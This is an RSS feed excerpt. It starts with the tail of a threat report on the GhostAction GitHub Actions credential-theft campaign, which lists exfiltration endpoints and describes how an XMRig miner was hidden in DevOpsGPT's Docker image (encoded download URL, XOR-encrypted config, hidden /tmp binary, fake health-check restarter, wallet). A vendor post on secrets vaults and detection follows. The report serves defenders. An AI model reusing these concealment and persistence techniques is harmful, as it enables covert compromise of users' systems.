&lt;th&gt;Period&lt;/th&gt;
&lt;th&gt;Exfiltration endpoint&lt;/th&gt;
&lt;th&gt;Repositories&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;September 2025&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;bold-dhawan.45-139-104-115.plesk.page&lt;/code&gt;, &lt;code&gt;carte-avantage.com&lt;/code&gt;, &lt;code&gt;objective-hopper.45-139-104-115.plesk.page&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;~900&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;October to December 2025, March 2026&lt;/td&gt;
&lt;td&gt;&lt;code&gt;170.39.218.2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;~75&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;November 2025, March and April 2026&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;*.oast.fun&lt;/code&gt; (Interactsh)&lt;/td&gt;
&lt;td&gt;~250&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;August and September 2026&lt;/td&gt;
&lt;td&gt;&lt;code&gt;193.32.204.199&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;772&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  A cryptominer hidden in DevOpsGPT
&lt;/h2&gt;

&lt;p&gt;The new wave also brings an unexpected twist. While reviewing affected repositories, a cryptominer was found injected into &lt;code&gt;kuafuai/DevOpsGPT&lt;/code&gt;, a popular open-source project with about 6,000 stars.&lt;/p&gt;

&lt;p&gt;On Aug. 30th, 2026, at 00:30 UTC, about a day and a half before the first GhostAction drop of this wave, a commit titled &lt;code&gt;fix(subtask) 修改OpenAI版本&lt;/code&gt; ("update the OpenAI version") was pushed to the repository. Despite its innocuous message, the commit modifies four files to embed an XMRig miner in the project's Docker image:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;Dockerfile&lt;/code&gt; decodes a base64-encoded XMRig 6.21.0 download URL, then strips and UPX-packs the binary, installing it as &lt;code&gt;/usr/local/bin/pyworker&lt;/code&gt;. The mining configuration is stored XOR-encrypted in the &lt;code&gt;SERVICE_CONFIG&lt;/code&gt; environment variable, with the key &lt;code&gt;devops2024&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;run.sh&lt;/code&gt; gains a &lt;code&gt;start_service&lt;/code&gt; function that copies the binary to a hidden &lt;code&gt;/tmp/.&amp;lt;hash&amp;gt;&lt;/code&gt; file and starts it when the application starts.&lt;/li&gt;
&lt;li&gt;The application's scheduler gets a fake &lt;code&gt;health_check&lt;/code&gt; job that runs every 45 seconds and restarts the miner if it is no longer running. Its state is tracked in &lt;code&gt;/var/run/devops.pid&lt;/code&gt; and &lt;code&gt;/var/log/devops.log&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once decoded, the configuration points to the &lt;code&gt;pool.supportxmr.com:3333&lt;/code&gt; mining pool and the following Monero wallet:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;832eKef1fNRTQdiJeJzsvkMMsogMp22FR2FLX1oaV5BxGfoMcJvkcbFgWgNRyNfsE19D9pdM1zdU7D9kRLdJbM5rU1vjfcL
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A corresponding Docker image was published to Docker Hub.&lt;/p&gt;

&lt;p&gt;On Sept. 15th, the same account was used to push the GhostAction workflow to four of the organization's repositories, including DevOpsGPT, to steal its DockerHub credentials. The organization's maintainers removed the workflows on Sept. 18th, and on Oct. 4th they reverted the cryptominer commit.&lt;/p&gt;

&lt;p&gt;So is the GhostAction operator also behind the cryptominer? We are not convinced. The two attacks used the same compromised account, but almost everything else differs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The GhostAction workflows were created through the GitHub API, under the account's usual identity. The miner commit was pushed with a forged author email we had never seen associated with this developer.&lt;/li&gt;
&lt;li&gt;The GhostAction payload is generic and automated. The miner was crafted specifically for this project, with a tailored disguise.&lt;/li&gt;
&lt;li&gt;We found no other repository carrying this miner, its configuration, or its wallet, whereas GhostAction hit hundreds of repositories within hours.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Stolen credentials do not always have a single owner
&lt;/h2&gt;

&lt;p&gt;The DevOpsGPT case is not isolated. Cross-referencing GhostAction victims with other malicious activity on GitHub, we found 13 victim repositories that were also used for cryptomining through GitHub Actions. That activity belongs to at least four distinct mining campaigns, with different wallets, pools, and infrastructure. Some of these campaigns hit thousands of repositories.&lt;/p&gt;

&lt;p&gt;In most cases, the miners appeared months after the GhostAction workflow. In others, they came first, sometimes only days before. One of those campaigns even copied GhostAction's naming, with commits titled &lt;code&gt;chore(ci): GitHub Security Actions&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The most likely explanation is that the GitHub credentials used by GhostAction are not exclusive to its operator. Leaked tokens, infostealer logs, and credential dumps are traded and reused by many actors. A single compromised developer account can be exploited by several unrelated attackers, each with their own goals.&lt;/p&gt;

&lt;p&gt;For victims, this has an important consequence. Rotating the secrets exfiltrated by the malicious workflow is not enough. The GitHub credential that allowed the injection in the first place must be found and revoked too, or someone else will use it again.&lt;/p&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>supplychain</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Secrets Management Best Practices: 6 Reasons Your Vault Needs Detection</title>
      <dc:creator>Dwayne McDaniel</dc:creator>
      <pubDate>Mon, 12 Oct 2026 11:32:11 +0000</pubDate>
      <link>https://dev.to/gitguardian/secrets-management-best-practices-6-reasons-your-vault-needs-detection-23j8</link>
      <guid>https://dev.to/gitguardian/secrets-management-best-practices-6-reasons-your-vault-needs-detection-23j8</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpw9nt1qz79ykmrdwgbcs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpw9nt1qz79ykmrdwgbcs.png" alt="Secrets Management Best Practices: 6 Reasons Your Vault Needs Detection" width="800" height="420"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Vault stores, governs, rotates, and records:&lt;/strong&gt; A secrets vault gives organizations a controlled system for storing credentials, governing access, rotating secrets, and recording how they are used. Mature secrets management best practices require both.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credentials copied into files, logs, and repos:&lt;/strong&gt; The vault establishes where credentials should live. But every organization also has credentials outside that system of record. Some were created outside the approved process while others were legitimately retrieved and later copied into a local file, build log, or repository.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One inventory, inside and outside the vault:&lt;/strong&gt; Security teams need a living inventory of all credentials, both inside and outside the vault. They can then act on these incidents faster through automation, while providing stronger audit evidence and measurable proof that credential risk is going down.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is secrets management?
&lt;/h2&gt;

&lt;p&gt;Secrets is the all-encompassing word we use at GitGuardian for any credential, key, token or other string that can be shared in plaintext and used to access systems or unlock data. Secrets management is the practice of controlling credentials throughout their lifecycle, from creation and secure storage through access, rotation, revocation, and retirement.&lt;/p&gt;

&lt;p&gt;A mature program needs visibility into that full lifecycle. Security teams need to know which credentials exist, where they are stored, what they can access, and whether they remain valid. That usually requires more than one category of secrets management tools.&lt;/p&gt;

&lt;p&gt;The vault safely stores secrets and manages their use inside the approved system. Detection provides the feedback loop that shows how closely real-world credential use follows that policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a secrets vault actually does
&lt;/h2&gt;

&lt;p&gt;A secrets vault, like any other vault, exists to protect the contents. It does this in part by encrypting the secrets at rest and provides a centralized, protected environment that can be reached by authorized entities. People, applications and workloads can retrieve secrets when they need them through secure encrypted service calls. The vaults enforce access policies, records usage, and supports rotation.&lt;/p&gt;

&lt;p&gt;This gives security and infrastructure teams control over the credentials enrolled in the system. A well-run vault can answer important questions about who should have access, when a credential should rotate, and where an approved credential belongs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff3bv3p3056yaqnxmn0fj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ff3bv3p3056yaqnxmn0fj.png" alt="Example of AWS Secret Manager used in a web application" width="800" height="460"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The reach of that control depends on adoption. A vault can provide insight over all the credentials registered within it, allowing teams to set policies and governance. But that is as far as it can see. Copies of those credentials generated outside the process, or created after retrieval from the vault and stored in plaintext somewhere else, create a second visibility problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  What secrets detection actually does
&lt;/h2&gt;

&lt;p&gt;Secrets detection is the process of scanning and searching for credentials throughout code, config, platforms, and everywhere else they can be stored. Secrets are continually being created during normal development and enterprise operations. Traditional detection approaches commonly start with source code and Git history, then extend into CI/CD systems and other development infrastructure.&lt;/p&gt;

&lt;p&gt;More mature programs also scan collaboration systems, public exposure, and developer machines. These are all places where credentials can accumulate as people build and operate software.&lt;/p&gt;

&lt;p&gt;The strongest &lt;a href="https://blog.gitguardian.com/secret-scanning-tools/" rel="noopener noreferrer"&gt;secret scanning tools&lt;/a&gt; add context to each discovery. Validity checks can establish whether an exposed credential still works. Other context can help determine ownership, exposure, and whether the secret is already managed in a vault.&lt;/p&gt;

&lt;p&gt;Total credential layer-wide scanning becomes the feedback mechanism around the vault. The vault shows the intended state. Detection measures what is happening across the wider credential layer.&lt;/p&gt;

&lt;h2&gt;
  
  
  6 reasons why you need both a secrets vault and a secrets detector
&lt;/h2&gt;

&lt;p&gt;Vaulting and detection support different parts of the same risk management program.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Capability&lt;/th&gt;
&lt;th&gt;Secrets vault&lt;/th&gt;
&lt;th&gt;Secrets detector&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Secure credential storage&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Control credential access&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rotation and revocation&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;Supports remediation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Find unmanaged credentials&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Find exposed copies&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Detect public exposure&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Validate exposed credentials&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Discover endpoint exposure&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Measure vault coverage&lt;/td&gt;
&lt;td&gt;Provides managed inventory&lt;/td&gt;
&lt;td&gt;Finds the surrounding gaps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verify remediation&lt;/td&gt;
&lt;td&gt;Performs lifecycle action&lt;/td&gt;
&lt;td&gt;Confirms exposure is closed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The value becomes clearer when these capabilities are measured against governance, auditability, operational speed, and executive assurance.&lt;/p&gt;

&lt;h3&gt;
  
  
  #1 You cannot govern credential risk without knowing the full exposure
&lt;/h3&gt;

&lt;p&gt;Risk management starts with inventory.&lt;/p&gt;

&lt;p&gt;A vault gives the organization a reliable inventory of credentials enrolled in that vault. The larger credential inventory can extend far beyond it. Developers create tokens while testing integrations. Teams inherit service accounts through acquisitions. Applications and automated workloads generate credentials as infrastructure evolves.&lt;/p&gt;

&lt;p&gt;That visibility gap can become quite large in production. In one consultancy environment, detection uncovered roughly &lt;a href="https://blog.gitguardian.com/the-state-of-secrets-sprawl-2025/" rel="noopener noreferrer"&gt;10,000 secrets across 42 GitHub organizations&lt;/a&gt;. About 99% were found in personal repositories rather than the centrally managed repositories security teams expected to monitor. This comes from the same report showing how GitGuardian found 28.6 million new secrets exposed on public GitHub in 2025, up 34% year over year.&lt;/p&gt;

&lt;p&gt;Security teams can only govern the credential population they can see. Laptops, or developer endpoints, brings a real dilemma for teams who have spent years focused only on shared surfaces they can control.&lt;/p&gt;

&lt;p&gt;Developer machines hold large numbers of secrets because local development requires access to cloud platforms, repositories, APIs, and other systems. Research behind GitGuardian's &lt;a href="https://www.gitguardian.com/developer-endpoint-protection" rel="noopener noreferrer"&gt;developer endpoint protection&lt;/a&gt; found around 40% of high and critical secrets discovered on endpoints in AI tool directories and log files.&lt;/p&gt;

&lt;p&gt;Ultimately, you need to know what is both inside the vaults and outside the vaults to credibly answer the first question behind almost every risk program: what do we actually have? Then you can address the next concern of threat modeling: what are we planning to do about it?&lt;/p&gt;

&lt;h3&gt;
  
  
  #2 Regulators and auditors care about control effectiveness, not tool ownership
&lt;/h3&gt;

&lt;p&gt;Purchasing and deploying a security control proves that the organization invested in a capability. Auditability requires evidence that the control is operating as intended.&lt;/p&gt;

&lt;p&gt;Access logs from a secret management platform can show which identities retrieved credentials. They should also be able to easily bring up rotation records, demonstrating lifecycle controls. Teams, hopefully, can point to the policies as code they have in place to document which workloads should have access.&lt;/p&gt;

&lt;p&gt;Detection provides evidence of the effectiveness of the broader policy around what happens to secrets before they ever reach a vault, or what happens when they leave it.&lt;/p&gt;

&lt;p&gt;An organization may have a requirement stating that production credentials belong in an approved vault. A mature audit should show how often credentials appear outside that approved system, how quickly those exceptions are identified, and what happens after discovery.&lt;/p&gt;

&lt;p&gt;From a risk-assessment perspective, reporting the percentage of known credentials under vault management is a better measure than the count of secrets in the vault. It can show trends in newly exposed credentials and average remediation times. It can also demonstrate whether previously exposed credentials remain valid.&lt;/p&gt;

&lt;p&gt;These measurements give organizations stronger evidence for frameworks and certifications such as SOC 2 and ISO 27001. They also give internal audit teams a clearer way to evaluate whether secrets management policies are working across real development environments. When an auditor shows up after an incident, they are not likely to ask, "Do you own a vault?" That is table stakes for any organization managing enterprise infrastructure in the modern era. Their questions will examine whether credential access is controlled, whether exceptions are discovered, and whether those exceptions are resolved.&lt;/p&gt;

&lt;p&gt;The vault documents the managed process. Detection measures where reality deviates from that process.&lt;/p&gt;

&lt;h3&gt;
  
  
  #3 Faster discovery shrinks the window between exposure and remediation
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq6ckndx3z0nb00tp61y1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fq6ckndx3z0nb00tp61y1.png" width="799" height="426"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every exposed credential creates a window during which someone else could use it.&lt;/p&gt;

&lt;p&gt;Attackers are well aware that credentials appear somewhere they should not. Finding these credentials is a known part of playbooks and is central to the MITRE ATT&amp;amp;CK framework. There &lt;a href="https://blog.gitguardian.com/uber-breach-2022/" rel="noopener noreferrer"&gt;are many examples&lt;/a&gt; of attackers succeeding and getting as far as they did precisely because secrets commonly exist outside the vault. Organizations need to constantly discover the exposures, determine whether the credentials remain valid, understand what depends on it, and then revoke or rotate them safely.&lt;/p&gt;

&lt;p&gt;Your maturity around scanning and discovery determines how long that process can remain invisible.&lt;/p&gt;

&lt;p&gt;Long-lived credentials make delayed discovery particularly dangerous. The State of Secrets Sprawl 2026 found that more than 64% of credentials confirmed valid in 2022 were still valid in January 2026.&lt;/p&gt;

&lt;p&gt;A credential exposed once can therefore remain useful for years.&lt;/p&gt;

&lt;p&gt;Deleting the visible copy also provides limited assurance. The credential can remain in Git history or another location. Its underlying access remains available until the credential is revoked, expired, or otherwise made unusable.&lt;/p&gt;

&lt;p&gt;Any scan needs to have validity checks to help responders identify which findings still represent active access. Vault context can then show how the credential is managed and support the rotation or revocation process.&lt;/p&gt;

&lt;p&gt;This creates a much more useful operational metric than raw finding volume: remediation velocity.&lt;/p&gt;

&lt;p&gt;Security leaders can measure time from exposure to discovery, discovery to action, and action to verified closure. Improvements in those measurements show that the organization is reducing the amount of time an exposed credential remains useful.&lt;/p&gt;

&lt;p&gt;Outside of the security viewpoint, DevOps and product teams should be working to engineer systems that do not require heavy lifting for secrets incident mitigation. Faster detection ultimately supports faster engineering, but preventative engineering means there is less possible disruption. For example, if teams architect in vault use, green/blue deployment strategies, and enforce it through the build process, any secrets rotation should be invisible and painless.&lt;/p&gt;

&lt;p&gt;Teams end up spending less time fixing systems months after the original exposure and more time deploying new features for customers.&lt;/p&gt;

&lt;h3&gt;
  
  
  #4 Credential visibility reduces the cost of incident response
&lt;/h3&gt;

&lt;p&gt;A leaked credential immediately raises several questions. Is it still valid? Who owns it? What does it access?&lt;/p&gt;

&lt;p&gt;Credential incidents become more expensive when responders have to discover basic facts during the response in real time. Unfortunately, mostly due to out-of-date documentation.&lt;/p&gt;

&lt;p&gt;But those plans rarely answer the next set of questions: What production applications depend on the credential? Will rotation break anything critical? Is this already accounted for elsewhere?&lt;/p&gt;

&lt;p&gt;Answering those further critical questions manually consumes time from security, engineering, and infrastructure teams. That is expensive expertise pulled away from normal operations during an already disruptive event. All the while, the clock keeps ticking and the potential blast radius keeps expanding.&lt;/p&gt;

&lt;p&gt;You can lower the cost of remediation by approaching credential layer visibility as more than just a collection of plaintext findings in a spreadsheet report with a validity field. You need the context about how the secret is used, what it accesses, and what workflows are associated with it.&lt;/p&gt;

&lt;p&gt;Security teams should spend their fastest response cycles on credentials that still work and provide meaningful access. An expired test credential can follow a different workflow.&lt;/p&gt;

&lt;p&gt;This is where detection volume alone becomes a poor measure of security value. Ten thousand findings create work. A prioritized set of valid, reachable, high-impact credentials gives responders a path to action.&lt;/p&gt;

&lt;p&gt;The goal is less time spent searching during an incident and faster containment, safer credential rotation, and less disruption to the teams responsible for keeping production running.&lt;/p&gt;

&lt;h3&gt;
  
  
  #5 Detection should help prove that remediation actually reduced risk
&lt;/h3&gt;

&lt;p&gt;Security teams need to worry about both resolving the incident and resolving total credential exposure. Those are different measurements.&lt;/p&gt;

&lt;p&gt;An effective secrets management program means closing the loop.&lt;/p&gt;

&lt;p&gt;The original finding should lead to a concrete outcome. Any exposed credentials can be revoked or rotated, depending on circumstance. Any unmanaged credentials that remain necessary can be migrated into the vault before being accounted for in code; only then can you close the incident. Copies can be finally and safely removed from the locations where they were leaked.&lt;/p&gt;

&lt;p&gt;Security teams need to have the tools to prove they have addressed the issue and no new ones have emerged. This is what good and continual secrets discovery provides.&lt;/p&gt;

&lt;p&gt;Validity checking can confirm whether an exposed credential remains usable after remediation. Continued scanning can identify additional copies. Vault context can show whether a replacement credential moved into the managed process.&lt;/p&gt;

&lt;p&gt;This is where the persistence of old secrets becomes important. More than 64% of the credentials confirmed valid in 2022 were still valid four years later. A remediation program that measures ticket closure without checking credential validity can create a false sense of progress.&lt;/p&gt;

&lt;p&gt;With the right analytics, security teams can deliver the metrics to prove a verified reduction of risk.&lt;/p&gt;

&lt;p&gt;Time to revoke measures how quickly usable access disappears. The percentage of valid findings successfully invalidated shows whether remediation is producing the desired outcome. Vault coverage shows whether credentials discovered outside the process are being brought under management.&lt;/p&gt;

&lt;p&gt;These measurements connect detection directly to risk reduction. Security teams can show that they found an exposure, took action, and verified that the original access path was closed.&lt;/p&gt;

&lt;h3&gt;
  
  
  #6 Detection gives leadership a defensible view of credential risk
&lt;/h3&gt;

&lt;p&gt;Security leadership eventually has to translate technical activity into assurance.&lt;/p&gt;

&lt;p&gt;Executives rarely need a count of every secret found in every repository. They need to know whether credential risk is understood, whether material exposures are being addressed, and whether the program is improving.&lt;/p&gt;

&lt;p&gt;Vault data alone gives leadership a view of the managed credential population. Detection adds the surrounding exposure that security leaders need for a fuller risk picture.&lt;/p&gt;

&lt;p&gt;Those two sources make better executive metrics possible.&lt;/p&gt;

&lt;p&gt;Leadership wants reports on security posture, which can be shown, in part, by tracking the percentage of discovered credentials under approved management. Teams can show leadership reports of how many valid exposures remain and how quickly they are being revoked. They can also measure how much of the development environment falls within detection coverage.&lt;/p&gt;

&lt;p&gt;Having these metrics at your fingertips gives any team a defensible position when they discuss how they are supporting the organization's security goals with CIOs, CTOs, audit committees, and boards.&lt;/p&gt;

&lt;p&gt;Security leads can explain where credential exposure exists and how much of it represents active risk. The same leader can show whether remediation velocity is improving and whether more credentials are moving under centralized management.&lt;/p&gt;

&lt;p&gt;Security needs confidence that their credential security program finds real risk, prioritizes it, and removes it, while proving that progress is being made toward agreed-upon organizational goals. A mature secrets management strategy needs both the tooling for enterprise-wide vaulting and continual discovery across all surfaces.&lt;/p&gt;

&lt;h2&gt;
  
  
  Secrets management best practices
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8kg5qw8iz4zg0qh0z5ps.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8kg5qw8iz4zg0qh0z5ps.png" alt="Secrets management best practices" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Every organization is on its own secrets management maturity journey. Use these six areas as a general roadmap:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Manage all critical secrets from a secret manager:&lt;/strong&gt; Any secret that can reach something critical needs an authoritative home with oversight. Scope it to least privilege, show who owns it, and keep the vault easy enough for developers to use, so they don't build workarounds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Detect everywhere else:&lt;/strong&gt; Detection coverage should follow the lifecycle of the credential. While it is still vital to scan source code and Git history, teams also need to account for CI/CD systems, collaboration tools, developer endpoints, and public platforms like GitHub and DockerHub.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Close the loop: vault, rotate, and plan to migrate:&lt;/strong&gt; Every finding needs its own remediation plan. That likely will mean quickly rotating or revoking any exposed credentials that are already vaulted. Use tools that can automatically move any discovered unmanaged secrets into an approved vault and account for that in code. Over time, teams need to employ identity-based approaches like OIDC and SPIFFE/SPIRE that are the only real cure to reduce how many secrets need to exist at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prioritize by validity and reach:&lt;/strong&gt; Teams need to quickly know which secrets bring the most risk. Credentials that still authenticate are a good start, but not the whole story. Just as important, especially for secrets that can not be verified, is what the key can access and how widely it was exposed to decide what comes first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Guard the commit and the endpoint:&lt;/strong&gt; Good developer tooling puts controls in place that eliminate the need for later remediation work. Pre-commit hooks keep secrets out of Git history. AI hooks stop coding agents from writing or using secrets. Endpoint detection finds credentials already stored locally.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Report your true secrets security coverage:&lt;/strong&gt; Leadership needs to see that vault coverage is growing, and operational metrics, like time-to-revoke is falling. Auditors need to know when your SecOps workflows began and if remediation can be verified. Without an inventory to report from, these are impossible to deliver from a dashboard.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Together, these practices give you a program that can find credential risk, prioritize it, remove it, and prove the process is working.&lt;/p&gt;

&lt;h2&gt;
  
  
  How GitGuardian complements your secrets vault
&lt;/h2&gt;

&lt;p&gt;GitGuardian provides the detection and discovery layer for the whole credential layer throughout your organization. Yes, it does safely map and inventory the secrets in your vaults. However, the platform finds credentials that were created outside the managed process and identifies copies that escaped after legitimate use.&lt;/p&gt;

&lt;p&gt;GitGuardian provides holistic credential layer Coverage. Your team gets unparalleled visibility across source code repositories, CI/CD environments, public exposure, and developer endpoints. The platform uses &lt;a href="https://www.gitguardian.com/detectors" rel="noopener noreferrer"&gt;specific secret detectors&lt;/a&gt;, finding known patterns, and generic detectors with contextual analysis, which eliminates false positives and finds secrets that don't match a fixed pattern.&lt;/p&gt;

&lt;p&gt;Developer controls help stop new exposures closer to where they originate. ggshield is installed on hundreds of thousands of developer machines and CI/CD pipelines. We know the earlier any secrets are detected in the software development lifecycle, the easier it is to remediate. And now, GitGuardian's developer endpoint protection extends visibility into credentials already stored on local machines and inside emerging AI workflows, giving teams a way to inventory and deal with those risks before an incident occurs.&lt;/p&gt;

&lt;p&gt;Public exposure adds another dimension. GitGuardian monitors for organizational secrets beyond repositories the company directly controls, while HasMySecretLeaked provides a way to determine whether a specific secret has appeared in GitGuardian's public exposure dataset.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/xb0AKxcwu28" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;p&gt;If any secret is found, the platform streamlines incident response, including context. Integrations with SaaS platforms and IdP providers, Kubernetes, and CI/CD systems to show how a credential is being used and what permissions it grants, helping responders rotate secrets faster. This context lets you know what systems are most resilient if a secret was to leak and where things need to be escalated during an incident.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8lwcxjzaxm6t9en5oaco.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F8lwcxjzaxm6t9en5oaco.png" alt="Sample GitGuardian exploration map showing context for a secret found publicly exposed." width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;GitGuardian integrates with all leading secrets managers, including HashiCorp Vault, CyberArk, and AWS Secrets Manager. This integration works in both directions. Context helps teams understand whether a discovered credential is already managed, duplicated, or sitting entirely outside the approved process. With the platform's &lt;a href="https://blog.gitguardian.com/push-to-vault/" rel="noopener noreferrer"&gt;Push-to-Vault&lt;/a&gt; feature, teams can quickly move any secrets found outside proper management.&lt;/p&gt;

&lt;p&gt;Your secrets security workflow needs to support the full credential lifecycle. Continual detection should catch every credential, wherever it appears. Teams need straightforward ways to prioritize any incidents, weeding out the low-risk ones automatically. Remediation should be automated as far as possible.&lt;/p&gt;

&lt;p&gt;Vaulting in secrets managers remains the foundation for managing approved credentials. Detection gives security teams the visibility and evidence required to understand how well that foundation is working across the wider enterprise.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.gitguardian.com/book-a-demo" rel="noopener noreferrer"&gt;Book a demo&lt;/a&gt; to see how GitGuardian can complement your existing secrets vault and help measure credential risk across your environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  FAQ
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;What does "secrets management" mean?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Secrets management is the process of controlling credentials throughout their lifecycle. It includes secure creation, storage, access, distribution, rotation, revocation, and retirement.&lt;/p&gt;

&lt;p&gt;A complete program also needs visibility into credentials that exist outside approved storage. That allows teams to discover exposures and bring unmanaged credentials back under control.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Which secrets management tool is the best?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The right tool depends on the organization's architecture and the job the tool needs to perform.&lt;/p&gt;

